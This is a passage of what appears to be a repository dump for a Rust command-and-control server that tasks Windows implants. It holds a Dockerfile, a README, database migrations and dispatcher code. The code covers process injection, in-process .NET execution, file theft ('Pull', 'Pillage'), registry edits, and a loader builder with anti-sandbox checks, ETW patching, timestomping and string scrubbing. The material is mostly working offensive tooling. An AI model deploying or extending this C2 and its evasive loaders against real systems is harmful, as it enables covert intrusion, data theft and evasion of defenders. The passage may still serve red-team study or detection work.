    "content": "[package]\nname = \"c2\"\nversion = \"0.1.0\"\nedition = \"2024\"\n\n[dependencies]\nshared = { path = \"../shared\" }\naxum = { version = \"0.8\", features = [\"macros\", \"multipart\"] }\nserde = \"1.0\"\ntokio = { version = \"1.43\", features = [\"full\"] }\nserde_json = \"1\"\ndotenvy = \"0.15.7\"\nsqlx = { version = \"0.8\", features = [\"postgres\", \"runtime-tokio-native-tls\", \"migrate\"] }\nchrono = { version = \"0.4\", features = [\"serde\"] }\nshared_c2_client ={ path = \"../shared_c2_client\" }\ntokio-util = {version = \"0.7.15\", features = [\"io\"] }\nhttp-body-util = \"0.1.3\"\nrand = \"0.9.1\"\nbase64 = \"0.22.1\"\nrust-crypto = \"0.2.36\"\nfutures = \"0.3\"\ntoml = \"0.9.6\"\nthiserror = \"2.0\"\ntower-http = { version = \"0.6\", features = [\"cors\", \"catch-panic\"]}\naxum-extra = { version = \"0.12.0\", features = [\"cookie\"] }\n"
  },
  {
    "path": "c2/Dockerfile",
    "content": "FROM lukemathwalker/cargo-chef:latest-rust-1.90-bookworm AS chef\nWORKDIR /app\n\nFROM chef AS planner\nWORKDIR /app\nCOPY . .\nRUN cargo chef prepare --recipe-path recipe.json\n\nFROM chef AS builder \nWORKDIR /app\n\nCOPY --from=planner /app/recipe.json ./recipe.json\nRUN cargo +nightly chef cook --release -p c2 --recipe-path recipe.json\nCOPY . .\nRUN cargo +nightly build -p c2 --release\n\nFROM rust:1.90-bookworm AS runtime\n\nRUN echo \"Installing environment dependencies...\"\nRUN apt update -qq\nRUN apt install -qq -y build-essential \\\n    pkg-config libssl-dev gcc-mingw-w64-x86-64 \\\n    g++-mingw-w64-x86-64 curl libgtk-3-dev clang p7zip-full \\ \n    clang lld llvm\n\nRUN set -eux; \\\n    if command -v llvm-lib-14   >/dev/null 2>&1; then ln -sf /usr/bin/llvm-lib-14   /usr/bin/llvm-lib; fi; \\\n    if command -v ld.lld        >/dev/null 2>&1; then ln -sf /usr/bin/ld.lld        /usr/bin/lld-link; fi; \\\n    if command -v clang         >/dev/null 2>&1; then ln -sf /usr/bin/clang         /usr/bin/clang-cl; fi\n\nRUN echo \"Installing toolchains...\"\nRUN rustup toolchain install nightly && rustup component add llvm-tools\n\nRUN rustup target add x86_64-pc-windows-msvc\nRUN rustup target add x86_64-pc-windows-msvc --toolchain nightly\nRUN cargo install cargo-xwin\n\nRUN rustup override set nightly\n\nEXPOSE 8087\nWORKDIR /app\nVOLUME [\"/data\"]\n\nCOPY --from=builder /app/target/release/c2 .\nCOPY --from=builder /app/c2/profiles/ ./profiles\nCOPY --from=builder /app/implant/ ./implant/\nCOPY --from=builder /app/shared_no_std/ ./shared_no_std/\nCOPY --from=builder /app/shared/ ./shared/\nCOPY --from=builder /app/loader/ ./loader/\n\nRUN mkdir -p /app/implant/.tmp\nENV TMPDIR=/app/implant/.tmp\n\nENTRYPOINT [\"/app/c2\"]"
  },
  {
    "path": "c2/Readme.md",
    "content": "# C2\n\nBefore using the C2, you **SHOULD** change the default admin token and database creds found in the `../.env` for security purposes.\n\n## TLDR\n\n- As above, edit the `../.env` file to use your own creds - this is for security purposes.\n- To run the C2, from the root directory (`../`) run `docker compose up -d --build c2`. On first run this may take a few minutes.\n- To connect to the C2, you should use the client which can be run via: `docker compose up -d --build client` and is served on port 4040 by default.\n- The C2 uses a docker volume `/data` to store loot as well as other persistent files.\n\n## Info\n\nThe C2 module handles only the command and control server implementation and does not deal with showing a GUI as output.\nThat is handled by the `client` crate which you can run via docker.\n\nThe C2 has logging for API endpoint access attempts, errors, and login's. **Note** there is no in-built log rotation, so you may wish to use\nthe linux `logrotate` application to manage these.\n\n- `Logins`\n  - This log file is managed in such a way repeat successful logins will not be recorded by an IP, only the first successful login\n  - This will log all cases where an IP makes repeated failed logins\n  - This log can be disabled via the `.env` file, adding: `DISABLE_ACCESS_LOG=1`.\n  - The log file will show (by default) the plaintext password of **unsuccessful logins** for intelligence gain, this is entirely dependant upon your threat model. To turn this feature off, add `DISABLE_PLAINTXT_PW_BAD_LOGIN=1` to your `.env`.\n- `Access`\n  - This log could get unwieldy and it can be disabled through the C2 `.env` file, by adding `DISABLE_ACCESS_LOG=1`. This will record all visits to endpoint URI's and record if the access was legitimate (from an agent) or not (scanners, researchers, etc). It is enabled by default and you should consider manually pruning the log, or automating with `logrotate`\n- `Error`\n  - A simple log file which shows C2 error messages to assist in bug reporting / debugging\n  - This log file cannot be disabled\n"
  },
  {
    "path": "c2/migrations/20250614124105_agent_table.sql",
    "content": "-- Add migration script here\nCREATE TABLE agents (\n    id SERIAL PRIMARY KEY,\n    first_check_in TIMESTAMPTZ DEFAULT now()\n);"
  },
  {
    "path": "c2/migrations/20250614124140_add_sleep.sql",
    "content": "ALTER TABLE agents ADD COLUMN sleep BIGINT;"
  },
  {
    "path": "c2/migrations/20250614132037_tasks.sql",
    "content": "-- Add migration script here\nCREATE TABLE tasks (\n    id SERIAL PRIMARY KEY,\n    uid TEXT NOT NULL,\n    data TEXT\n);"
  },
  {
    "path": "c2/migrations/20250615070633_flesh_table.sql",
    "content": "-- Add migration script here\nALTER TABLE tasks\n  ADD COLUMN completed   BOOLEAN    NOT NULL DEFAULT FALSE,\n  ADD COLUMN agent_id    INTEGER    NOT NULL,\n  ADD CONSTRAINT fk_tasks_agent\n    FOREIGN KEY (agent_id)\n    REFERENCES agents (id)\n    ON DELETE CASCADE;\n\nCREATE INDEX idx_tasks_incomplete\n  ON tasks (agent_id)\n  WHERE completed = FALSE;"
  },
  {
    "path": "c2/migrations/20250615072852_add_col_back_tasks.sql",
    "content": "-- Add migration script here\nALTER TABLE tasks\n  ADD COLUMN command_id INT;"
  },
  {
    "path": "c2/migrations/20250615085223_add_uid.sql",
    "content": "-- Add migration script here\nALTER TABLE agents\n  ADD COLUMN uid TEXT;"
  },
  {
    "path": "c2/migrations/20250615085245_add_uid.sql",
    "content": "-- Add migration script here\n"
  },
  {
    "path": "c2/migrations/20250615211204_rm_col_from_tasks.sql",
    "content": "-- Add migration script here\nALTER TABLE public.tasks\n  DROP COLUMN IF EXISTS uid;"
  },
  {
    "path": "c2/migrations/20250616171233_ch_col.sql",
    "content": "-- Add migration script here\nBEGIN;\n\nALTER TABLE tasks\n  DROP CONSTRAINT IF EXISTS fk_tasks_agent;\nDROP INDEX IF EXISTS idx_tasks_incomplete;\n\nALTER TABLE agents\n  ADD CONSTRAINT uq_agents_uid UNIQUE(uid);\n\nALTER TABLE tasks\n  ADD COLUMN new_agent_id TEXT NOT NULL DEFAULT '';\n\nUPDATE tasks\nSET new_agent_id = agents.uid\nFROM agents\nWHERE tasks.agent_id = agents.id;\n\nALTER TABLE tasks\n  DROP COLUMN agent_id;\nALTER TABLE tasks\n  RENAME COLUMN new_agent_id TO agent_id;\n\nALTER TABLE tasks\n  ADD CONSTRAINT fk_tasks_agent\n    FOREIGN KEY (agent_id)\n    REFERENCES agents(uid)\n    ON DELETE CASCADE;\n\nCREATE INDEX idx_tasks_incomplete \n  ON tasks (agent_id)\n  WHERE completed = FALSE;\n\nCOMMIT;"
  },
  {
    "path": "c2/migrations/20250619055731_results_table.sql",
    "content": "-- Add migration script here\nCREATE TABLE completed_tasks (\n    id SERIAL PRIMARY KEY,\n    task_id INT NOT NULL,\n    result TEXT,\n    client_pulled_update BOOLEAN NOT NULL DEFAULT FALSE,\n    time_completed TIMESTAMPTZ NOT NULL DEFAULT now()\n);"
  },
  {
    "path": "c2/migrations/20250621175632_add_time.sql",
    "content": "-- Add migration script here\nALTER TABLE agents\n  ADD COLUMN last_check_in TIMESTAMPTZ DEFAULT now();"
  },
  {
    "path": "c2/migrations/20250621180355_add_time.sql",
    "content": "-- Add migration script here\n"
  },
  {
    "path": "c2/migrations/20250622075242_agent_staging.sql",
    "content": "-- Add migration script here\nCREATE TABLE agent_staging (\n    id SERIAL PRIMARY KEY,\n    date_added TIMESTAMPTZ DEFAULT now(),\n    agent_name TEXT NOT NULL,\n    host TEXT NOT NULL,\n    c2_endpoint TEXT NOT NULL,\n    staged_endpoint TEXT NOT NULL,\n    sleep_time INT NOT NULL\n);"
  },
  {
    "path": "c2/migrations/20250622080004_protect_staging.sql",
    "content": "-- Add migration script here\nALTER TABLE agent_staging\n    ADD CONSTRAINT uq_agent_name UNIQUE (agent_name),\n    ADD CONSTRAINT uq_c2_endpoint UNIQUE (c2_endpoint),\n    ADD CONSTRAINT uq_staged_endpoint UNIQUE (staged_endpoint);"
  },
  {
    "path": "c2/migrations/20250622080748_remove_constraint.sql",
    "content": "-- Add migration script here\nALTER TABLE agent_staging\n  DROP CONSTRAINT IF EXISTS uq_c2_endpoint;"
  },
  {
    "path": "c2/migrations/20250622083052_add_col_staging.sql",
    "content": "-- Add migration script here\nALTER TABLE agents\n  ADD COLUMN pe_name TEXT;\n\nUPDATE agents\n  SET pe_name = 'oops'\n  WHERE pe_name IS NULL;\n\nALTER TABLE agents\n  ALTER COLUMN pe_name SET NOT NULL;"
  },
  {
    "path": "c2/migrations/20250622094131_add_col_staging_again.sql",
    "content": "ALTER TABLE agent_staging\n  ADD COLUMN pe_name TEXT NOT NULL;"
  },
  {
    "path": "c2/migrations/20250622094232_del_col_agent.sql",
    "content": "-- Add migration script here\nALTER TABLE agents DROP COLUMN pe_name;"
  },
  {
    "path": "c2/migrations/20250622122051_protect_pe_name.sql",
    "content": "-- Add migration script here\nALTER TABLE agent_staging\n    ADD CONSTRAINT uq_pe_name UNIQUE (pe_name);"
  },
  {
    "path": "c2/migrations/20250622130349_port_to_agent_staging.sql",
    "content": "-- Add migration script here\nALTER TABLE agent_staging\n  ADD COLUMN port INT NOT NULL;"
  },
  {
    "path": "c2/migrations/20250622154423_operator_table.sql",
    "content": "-- Add migration script here\nCREATE TABLE operators (\n    id SERIAL PRIMARY KEY,\n    date_created TIMESTAMPTZ DEFAULT now(),\n    username TEXT NOT NULL,\n    password_hash TEXT NOT NULL,\n    salt TEXT NOT NULL\n);"
  },
  {
    "path": "c2/migrations/20250622161952_db_add_cstr.sql",
    "content": "-- Add migration script here\nALTER TABLE operators\n    ADD CONSTRAINT uq_username_operator UNIQUE (username);"
  },
  {
    "path": "c2/migrations/20250624164511_col_for_toks.sql",
    "content": "-- Add migration script here\nALTER TABLE agent_staging\n  ADD COLUMN security_token TEXT NOT NULL;"
  },
  {
    "path": "c2/migrations/20250627184526_default_env.sql",
    "content": "-- actually, not needed"
  },
  {
    "path": "c2/migrations/20250712164452_update_field_for_sleep.sql",
    "content": "ALTER TABLE agent_staging\n  ALTER COLUMN sleep_time TYPE BIGINT;"
  },
  {
    "path": "c2/migrations/20250712164815_update_field_for_prt.sql",
    "content": "ALTER TABLE agent_staging\n  ALTER COLUMN port TYPE INT;"
  },
  {
    "path": "c2/migrations/20250712165040_update_field_for_prt_again.sql",
    "content": "ALTER TABLE agent_staging\n  ALTER COLUMN port TYPE SMALLINT;"
  },
  {
    "path": "c2/migrations/20250719090503_rm_constraint_upload.sql",
    "content": "-- Add migration script here\nALTER TABLE agent_staging\n  DROP CONSTRAINT IF EXISTS uq_agent_name;"
  },
  {
    "path": "c2/migrations/20250727101559_xor_payload.sql",
    "content": "-- Add migration script here\nALTER TABLE agent_staging\n  ADD COLUMN xor_key smallint DEFAULT 0;"
  },
  {
    "path": "c2/migrations/20251025085314_update_time_completed_field.sql",
    "content": "-- Add migration script here\nALTER TABLE completed_tasks\nALTER COLUMN time_completed DROP DEFAULT;"
  },
  {
    "path": "c2/migrations/20251026120715_change_dt_field.sql",
    "content": "-- Add migration script here\n-- ALTER TABLE completed_tasks\n-- ALTER COLUMN time_completed TYPE BIGINT\n-- USING time_completed::bigint;"
  },
  {
    "path": "c2/migrations/20251026121136_change_dt_field_2.sql",
    "content": "-- Add migration script here\nALTER TABLE completed_tasks\nADD COLUMN time_completed_ms BIGINT NOT NULL\n    DEFAULT ((EXTRACT(EPOCH FROM now()) * 1000)::BIGINT);\n\nUPDATE completed_tasks\nSET time_completed_ms = ((EXTRACT(EPOCH FROM time_completed) * 1000)::BIGINT)\nWHERE time_completed IS NOT NULL;"
  },
  {
    "path": "c2/migrations/20251026122000_time_comp_rm.sql",
    "content": "-- Add migration script here\nALTER TABLE completed_tasks DROP COLUMN time_completed;"
  },
  {
    "path": "c2/migrations/20251026144632_add_agent_id_to_ct.sql",
    "content": "-- Add migration script here\nALTER TABLE completed_tasks\n    ADD COLUMN agent_id TEXT;\n\nALTER TABLE completed_tasks\n    ADD COLUMN command_id INT;"
  },
  {
    "path": "c2/migrations/20251119185937_add_pulled_col.sql",
    "content": "-- Add migration script here\nALTER TABLE tasks\n  ADD COLUMN fetched BOOL;"
  },
  {
    "path": "c2/migrations/20251127184944_download_col.sql",
    "content": "-- Add migration script here\nALTER TABLE agent_staging\n    ADD COLUMN num_downloads INT NOT NULL DEFAULT 0;"
  },
  {
    "path": "c2/migrations/20251127193415_make_bigint.sql",
    "content": "ALTER TABLE agent_staging\n    ALTER COLUMN num_downloads TYPE BIGINT;\n\nALTER TABLE agent_staging\n    ALTER COLUMN num_downloads SET DEFAULT 0;"
  },
  {
    "path": "c2/migrations/20251207091938_beacon_console_line.sql",
    "content": "-- Add migration script here\nINSERT INTO agents (uid, sleep)\nVALUES ('doesntmatterwhatthisis', 1);"
  },
  {
    "path": "c2/migrations/20251207092341_testagent.sql",
    "content": "-- Add migration script here\nINSERT INTO tasks (agent_id, fetched)\nVALUES ('doesntmatterwhatthisis', false);"
  },
  {
    "path": "c2/migrations/20251215120000_completed_tasks_pending_idx.sql",
    "content": "-- Add migration script here\nCREATE INDEX IF NOT EXISTS idx_completed_tasks_agent_pending\n  ON completed_tasks (agent_id)\n  WHERE client_pulled_update = FALSE;\n\n"
  },
  {
    "path": "c2/migrations/20251215123000_tasks_fetched_default.sql",
    "content": "-- Add migration script here\nUPDATE tasks\nSET fetched = FALSE\nWHERE fetched IS NULL;\n\nALTER TABLE tasks\n    ALTER COLUMN fetched SET DEFAULT FALSE;\n\nALTER TABLE tasks\n    ALTER COLUMN fetched SET NOT NULL;\n"
  },
  {
    "path": "c2/src/admin_task_dispatch/dispatch_table.rs",
    "content": "use std::sync::Arc;\n\nuse crate::{\n    admin_task_dispatch::{\n        delete_staged_resources, drop_file_handler,\n        execute::{SpawnInject, dotex, spawn_inject_with_network_resource},\n        export_completed_tasks_to_json,\n        implant_builder::stage_file_upload_from_users_disk,\n        list_agents, list_staged_resources, remove_agent_from_list, show_server_time, task_agent,\n        task_agent_sleep,\n    },\n    app_state::AppState,\n    logging::log_error_async,\n};\nuse axum::extract::State;\nuse serde_json::Value;\nuse shared::tasks::{AdminCommand, Command};\n\n/// Main dispatcher for admin commands issued on the server, which may, or may not, include an\n/// implant UID.\npub async fn admin_dispatch(\n    uid: Option<String>,\n    command: AdminCommand,\n    state: State<Arc<AppState>>,\n) -> Vec<u8> {\n    // Note, due to the use of generics with the function `task_agent`, if you are passing `None`\n    // into the function, you will have to turbofish a type which does implement ToString - so,\n    // to keep it simple, just turbofish String - it will be discarded as the `None` path will be\n    // taken\n    let result: Option<Value> = match command {\n        AdminCommand::Sleep(time) => task_agent_sleep(time, uid.unwrap(), state).await,\n        AdminCommand::ListAgents => list_agents(state).await,\n        AdminCommand::ListProcesses => {\n            task_agent::<String>(Command::Ps, None, uid.unwrap(), state).await\n        }\n        AdminCommand::GetUsername => todo!(),\n        AdminCommand::ListUsersDirs => {\n            task_agent::<String>(Command::Pillage, None, uid.unwrap(), state).await\n        }\n        AdminCommand::Pwd => task_agent::<String>(Command::Pwd, None, uid.unwrap(), state).await,\n        AdminCommand::Cd(path_buf) => {\n            task_agent(Command::Cd, Some(path_buf), uid.unwrap(), state).await\n        }\n        AdminCommand::KillAgent => {\n            task_agent::<String>(Command::KillAgent, None, uid.unwrap(), state).await\n        }\n        AdminCommand::Ls => task_agent::<String>(Command::Ls, None, uid.unwrap(), state).await,\n        AdminCommand::ShowServerTime => show_server_time(),\n        AdminCommand::Login => Some(serde_json::to_value(\"success\").unwrap()),\n        AdminCommand::ListStagedResources => list_staged_resources(state).await,\n        AdminCommand::Run(args) => task_agent(Command::Run, Some(args), uid.unwrap(), state).await,\n        AdminCommand::DeleteStagedResource(download_endpoint) => {\n            delete_staged_resources(state, download_endpoint).await\n        }\n        AdminCommand::RemoveAgentFromList => remove_agent_from_list(state, uid.unwrap()).await,\n        AdminCommand::Undefined => panic!(\"This should never happen.\"),\n        AdminCommand::StageFileOnC2(metadata) => {\n            stage_file_upload_from_users_disk(metadata, state).await\n        }\n        AdminCommand::KillProcessById(pid) => {\n            task_agent::<String>(Command::KillProcess, Some(pid), uid.unwrap(), state).await\n        }\n        AdminCommand::Drop(data) => drop_file_handler(uid, data, state).await,\n        AdminCommand::Copy(inner) => {\n            // Serialise the (String, String) to just a String so we can use it with the\n            // generic task_agent.\n            let inner_serialised = match serde_json::to_string(&inner) {\n                Ok(s) => Some(s),\n                Err(e) => {\n                    log_error_async(&e.to_string()).await;\n                    None\n                }\n            };\n\n            if inner_serialised.is_some() {\n                task_agent::<String>(Command::Copy, inner_serialised, uid.unwrap(), state).await\n            } else {\n                None\n            }\n        }\n        AdminCommand::Move(inner) => {\n            // Serialise the (String, String) to just a String so we can use it with the\n            // generic task_agent.\n            let inner_serialised = match serde_json::to_string(&inner) {\n                Ok(s) => Some(s),\n                Err(e) => {\n                    log_error_async(&e.to_string()).await;\n                    None\n                }\n            };\n\n            if inner_serialised.is_some() {\n                task_agent::<String>(Command::Move, inner_serialised, uid.unwrap(), state).await\n            } else {\n                // Error logged in above failure path\n                None\n            }\n        }\n        AdminCommand::Pull(file_path) => {\n            task_agent(Command::Pull, Some(file_path), uid.unwrap(), state).await\n        }\n        AdminCommand::BuildAllBins(_) => None,\n        AdminCommand::RegQuery(data) => match serde_json::to_string(&data) {\n            Ok(s) => task_agent(Command::RegQuery, Some(s), uid.unwrap(), state).await,\n            Err(e) => {\n                log_error_async(&e.to_string()).await;\n                None\n            }\n        },\n        AdminCommand::RegAdd(data) => match serde_json::to_string(&data) {\n            Ok(s) => task_agent(Command::RegAdd, Some(s), uid.unwrap(), state).await,\n            Err(e) => {\n                log_error_async(&e.to_string()).await;\n                None\n            }\n        },\n        AdminCommand::RegDelete(data) => match serde_json::to_string(&data) {\n            Ok(s) => task_agent(Command::RegDelete, Some(s), uid.unwrap(), state).await,\n            Err(e) => {\n                log_error_async(&e.to_string()).await;\n                None\n            }\n        },\n        AdminCommand::RmFile(data) => match serde_json::to_string(&data) {\n            Ok(s) => task_agent(Command::RmFile, Some(s), uid.unwrap(), state).await,\n            Err(e) => {\n                log_error_async(&e.to_string()).await;\n                None\n            }\n        },\n        AdminCommand::RmDir(data) => match serde_json::to_string(&data) {\n            Ok(s) => task_agent(Command::RmDir, Some(s), uid.unwrap(), state).await,\n            Err(e) => {\n                log_error_async(&e.to_string()).await;\n                None\n            }\n        },\n        AdminCommand::ExportDb => export_completed_tasks_to_json(uid.unwrap(), state).await,\n        AdminCommand::None => None,\n        AdminCommand::DotEx(dot_ex_inner) => dotex(uid, dot_ex_inner, state.clone()).await,\n        AdminCommand::WhoAmI => {\n            task_agent::<String>(Command::WhoAmI, None, uid.unwrap(), state).await\n        }\n        AdminCommand::Spawn(download_name) => {\n            spawn_inject_with_network_resource(\n                uid,\n                SpawnInject::Spawn(download_name),\n                state.clone(),\n            )\n            .await\n        }\n        AdminCommand::StaticWof(name) => {\n            task_agent::<String>(Command::StaticWof, Some(name), uid.unwrap(), state).await\n        }\n        AdminCommand::Inject(inject_inner) => {\n            spawn_inject_with_network_resource(\n                uid,\n                SpawnInject::Inject(inject_inner),\n                state.clone(),\n            )\n            .await\n        }\n    };\n\n    serde_json::to_vec(&result).unwrap()\n}\n"
  },
  {
    "path": "c2/src/admin_task_dispatch/execute.rs",
    "content": "use std::{path::PathBuf, sync::Arc};\n\nuse axum::extract::State;\nuse serde_json::Value;\nuse shared::{\n    task_types::DotExDataForImplant,\n    tasks::{Command, DotExInner, InjectInnerForAdmin, InjectInnerForPayload},\n};\n\nuse crate::{\n    TOOLS_PATH, admin_task_dispatch::task_agent, app_state::AppState, logging::log_error_async,\n};\n\n/// Executes dotnet in the current process\npub async fn dotex(\n    uid: Option<String>,\n    data: DotExInner,\n    state: State<Arc<AppState>>,\n) -> Option<Value> {\n    let mut path_to_tool = PathBuf::from(TOOLS_PATH);\n    path_to_tool.push(data.tool_path);\n\n    // Read the tool, ret an error wrapped in an Option if it happens.. I regret this pattern rn\n    let tool_data = match tokio::fs::read(path_to_tool).await {\n        Ok(f) => f,\n        Err(e) => {\n            let msg = format!(\"Could not read file. {e}\");\n            log_error_async(&msg).await;\n            return Some(serde_json::to_value(msg).unwrap());\n        }\n    };\n\n    let metadata: DotExDataForImplant = (tool_data, data.args);\n    let meta_ser = serde_json::to_string(&metadata).unwrap();\n\n    let _ = task_agent(Command::DotEx, Some(meta_ser), uid.unwrap(), state).await;\n\n    None\n}\n\ntype InternalName = String;\n\n/// Options for preparing the delivery of the inject inner payload\npub enum SpawnInject {\n    Spawn(InternalName),\n    /// Inject options include the pid\n    Inject(InjectInnerForAdmin),\n}\n\npub async fn spawn_inject_with_network_resource(\n    uid: Option<String>,\n    type_of: SpawnInject,\n    state: State<Arc<AppState>>,\n) -> Option<Value> {\n    let state_cl = state.clone();\n    let endpoints = {\n        let tmp = state_cl.endpoints.read().await;\n        tmp.clone()\n    };\n\n    let internal_name = match type_of {\n        SpawnInject::Spawn(ref s) => &s,\n        SpawnInject::Inject(ref inject_inner_for_admin) => &inject_inner_for_admin.download_name,\n    };\n\n    let file_data = match endpoints\n        .read_staged_file_by_file_name(&internal_name)\n        .await\n    {\n        Ok(buf) => buf,\n        Err(e) => {\n            let msg = format!(\"Failed to read file data for spawn/inject. {}\", e);\n            log_error_async(&msg).await;\n            return None;\n        }\n    };\n\n    drop(endpoints);\n\n    match type_of {\n        SpawnInject::Spawn(_) => {\n            let ser = match serde_json::to_string(&file_data) {\n                Ok(s) => s,\n                Err(e) => {\n                    let msg = format!(\"Failed to serialise file data for spawn/inject. {}\", e);\n                    log_error_async(&msg).await;\n                    return None;\n                }\n            };\n\n            task_agent::<String>(Command::Spawn, Some(ser), uid.unwrap(), state).await\n        }\n        SpawnInject::Inject(inner) => {\n            let constructed_for_wyrm = InjectInnerForPayload {\n                payload_bytes: file_data,\n                pid: inner.pid,\n            };\n\n            let ser = match serde_json::to_string(&constructed_for_wyrm) {\n                Ok(s) => s,\n                Err(e) => {\n                    let msg = format!(\"Failed to serialise file data for spawn/inject. {}\", e);\n                    log_error_async(&msg).await;\n                    return None;\n                }\n            };\n\n            task_agent::<String>(Command::Inject, Some(ser), uid.unwrap(), state).await\n        }\n    }\n}\n"
  },
  {
    "path": "c2/src/admin_task_dispatch/implant_builder.rs",
    "content": "use std::{\n    env::current_dir,\n    fs::create_dir_all,\n    path::{Path, PathBuf},\n    sync::Arc,\n};\n\nuse axum::extract::State;\nuse serde_json::Value;\nuse shared::tasks::{FileUploadStagingFromClient, NewAgentStaging, StageType, WyrmResult};\nuse tokio::{\n    fs,\n    io::{self, AsyncReadExt},\n};\n\nuse crate::{\n    FILE_STORE_PATH, WOFS_PATH,\n    admin_task_dispatch::{\n        add_api_endpoint_for_staged_resource, is_download_staging_url_error, remove_dir,\n        remove_file,\n    },\n    app_state::AppState,\n    logging::log_error_async,\n    pe_utils::{scrub_strings, timestomp_binary_compile_date},\n    profiles::{Profile, parse_exports_to_string_for_env},\n};\n\nconst FULLY_QUAL_PATH_TO_FILE_BUILD: &str = \"/app/profiles/tmp\";\n\n/// Builds all binaries from a given profile\n///\n/// On success, this function returns None, otherwise an Error is encoded within a `Value` as a `WyrmResult`\npub async fn build_all_bins(\n    implant_profile_name: &String,\n    state: State<Arc<AppState>>,\n) -> Result<Vec<u8>, String> {\n    // Save into tmp within profiles, we will delete it on completion.\n    let save_path = PathBuf::from(\"./profiles/tmp\");\n\n    create_dir_all(&save_path).map_err(|e| {\n        format!(\n            \"Failed to create tmp directory on c2 for profile staging. {}\",\n            e.kind()\n        )\n    })?;\n\n    let profile = {\n        // We use the saved profile in memory\n        let guard = state.profile.read().await;\n        (*guard).clone()\n    };\n\n    //\n    // If we are building all binaries, iterate through them, otherwise just build hte specified one\n    //\n    if implant_profile_name.to_lowercase() == \"all\" {\n        let keys: Vec<String> = profile.implants.keys().cloned().collect();\n        for key in keys {\n            write_implant_to_tmp_folder(&profile, &save_path, &key, state.clone()).await?;\n        }\n    } else {\n        write_implant_to_tmp_folder(&profile, &save_path, implant_profile_name, state.clone())\n            .await?;\n    }\n\n    //\n    // Finally zip up the result, and return them back to the user.\n    //\n    const ZIP_OUTPUT_PATH: &str = \"./profiles/tmp.7z\";\n    let mut cmd = tokio::process::Command::new(\"7z\");\n    cmd.args([\n        \"a\",\n        ZIP_OUTPUT_PATH,\n        &format!(\"{}\", save_path.as_os_str().display()),\n    ]);\n\n    if let Err(e) = cmd.output().await {\n        let msg = format!(\"Error creating 7z archive with resulting payloads. {e}\");\n        let _ = remove_dir(&save_path).await?;\n\n        return Err(msg);\n    };\n\n    //\n    // At this point, we have created the 7z. We now want to read it into a buffer in memory,\n    // delete the archive, then return the buffer back to the user. We will send it through as a\n    // byte stream, which the client can then re-interpret as a file download.\n    //\n    let _ = remove_dir(&save_path).await?;\n\n    let mut buf = Vec::new();\n    let mut file = match tokio::fs::File::open(ZIP_OUTPUT_PATH).await {\n        Ok(f) => f,\n        Err(e) => {\n            let msg = format!(\"Error opening 7z file. {e}\");\n            let _ = remove_dir(&save_path).await?;\n\n            return Err(msg);\n        }\n    };\n\n    if let Err(e) = file.read_to_end(&mut buf).await {\n        let msg = format!(\"Error reading 7z file. {e}\");\n        let _ = remove_dir(&save_path).await?;\n\n        return Err(msg);\n    }\n\n    remove_file(ZIP_OUTPUT_PATH).await?;\n\n    Ok(buf)\n}\n\nasync fn write_loader_to_tmp(\n    profile: &Profile,\n    save_path: &PathBuf,\n    implant_profile_name: &str,\n    dll_path: &PathBuf,\n) -> Result<(), String> {\n    let data: NewAgentStaging = match profile.as_staged_agent(implant_profile_name, StageType::All)\n    {\n        WyrmResult::Ok(d) => d,\n        WyrmResult::Err(e) => {\n            let _ = remove_dir(&save_path).await?;\n            let msg = format!(\"Error constructing a NewAgentStaging. {e:?}\");\n            log_error_async(&msg).await;\n            return Err(msg);\n        }\n    };\n\n    //\n    // For every build type, build it - we manually specify the loop size here so as more\n    // build options are added, the loop will need to be increased to accommodate.\n    //\n    for i in 0..3 {\n        let stage_type = match i {\n            0 => StageType::Exe,\n            1 => StageType::Dll,\n            2 => StageType::Svc,\n            _ => unreachable!(),\n        };\n\n        let cmd_build_output = compile_loader(&data, stage_type, dll_path).await;\n        if let Err(e) = cmd_build_output {\n            let msg = &format!(\"Failed to build loader. {e}\");\n            let _ = remove_dir(&save_path).await?;\n            return Err(msg.to_owned());\n        }\n\n        let output = cmd_build_output.unwrap();\n        if !output.status.success() {\n            let msg = &format!(\n                \"Failed to build loader. {:#?}\",\n                String::from_utf8_lossy(&output.stderr),\n            );\n\n            let _ = remove_dir(&save_path).await?;\n\n            return Err(msg.to_owned());\n        }\n\n        //\n        // Move the built implant to where the operator requested it to be built in\n        //\n        let src_dir = if cfg!(windows) {\n            PathBuf::from(format!(\"./loader/target/release\"))\n        } else {\n            PathBuf::from(format!(\"./loader/target/x86_64-pc-windows-msvc/release\"))\n        };\n\n        let out_dir = Path::new(&save_path);\n        let src = match stage_type {\n            StageType::Dll => src_dir.join(\"loader.dll\"),\n            StageType::Exe => src_dir.join(\"loader.exe\"),\n            StageType::Svc => src_dir.join(\"loader_svc.exe\"),\n            StageType::All => unreachable!(),\n        };\n\n        // Format each output file name as loader_{profile name from toml}\n        let ldr_name_fmt = format!(\"loader_{}\", data.pe_name);\n        let mut dest = out_dir.join(ldr_name_fmt);\n\n        if !(match stage_type {\n            StageType::Dll => dest.add_extension(\"dll\"),\n            StageType::Exe => dest.add_extension(\"exe\"),\n            StageType::Svc => dest.add_extension(\"svc\"),\n            StageType::All => unreachable!(),\n        }) {\n            let msg = format!(\"Failed to add extension to local file. {dest:?}\");\n            let _ = remove_dir(&save_path).await?;\n\n            return Err(msg);\n        };\n\n        // Error check..\n        if let Err(e) = tokio::fs::rename(&src, &dest).await {\n            let cwd = current_dir().expect(\"could not get cwd\");\n            let msg = format!(\n                \"Failed to rename built loader - it is *possible* you interrupted the request/page, looking for: {}, to rename to: {}. Cwd: {cwd:?} {e}\",\n                src.display(),\n                dest.display()\n            );\n            let _ = remove_dir(&save_path).await?;\n\n            return Err(msg);\n        };\n\n        // Apply relevant transformations to the loader too\n        post_process_pe_on_disk(&dest, &data, stage_type).await;\n    }\n\n    Ok(())\n}\n\nasync fn compile_loader(\n    data: &NewAgentStaging,\n    stage_type: StageType,\n    dll_path: &Path,\n) -> Result<std::process::Output, std::io::Error> {\n    if stage_type == StageType::All {\n        return Err(io::Error::other(\"StageType::All not supported\"));\n    }\n\n    let build_as_flags = match stage_type {\n        StageType::Dll => vec![\"--lib\"],\n        StageType::Exe => vec![\"--bin\", \"loader\"],\n        StageType::Svc => vec![\"--bin\", \"loader_svc\"],\n        StageType::All => vec![],\n    };\n\n    // Check for any feature flags from the profile\n    let features: Vec<String> = {\n        let mut builder = vec![\"--features\".to_string()];\n        let mut string_builder = String::new();\n\n        if data.antisandbox_ram {\n            string_builder.push_str(\"sandbox_mem,\");\n        }\n        if data.antisandbox_trig {\n            string_builder.push_str(\"sandbox_trig,\");\n        }\n        if data.patch_etw {\n            string_builder.push_str(\"patch_etw,\");\n        }\n\n        if !string_builder.is_empty() {\n            builder.push(string_builder);\n            builder\n        } else 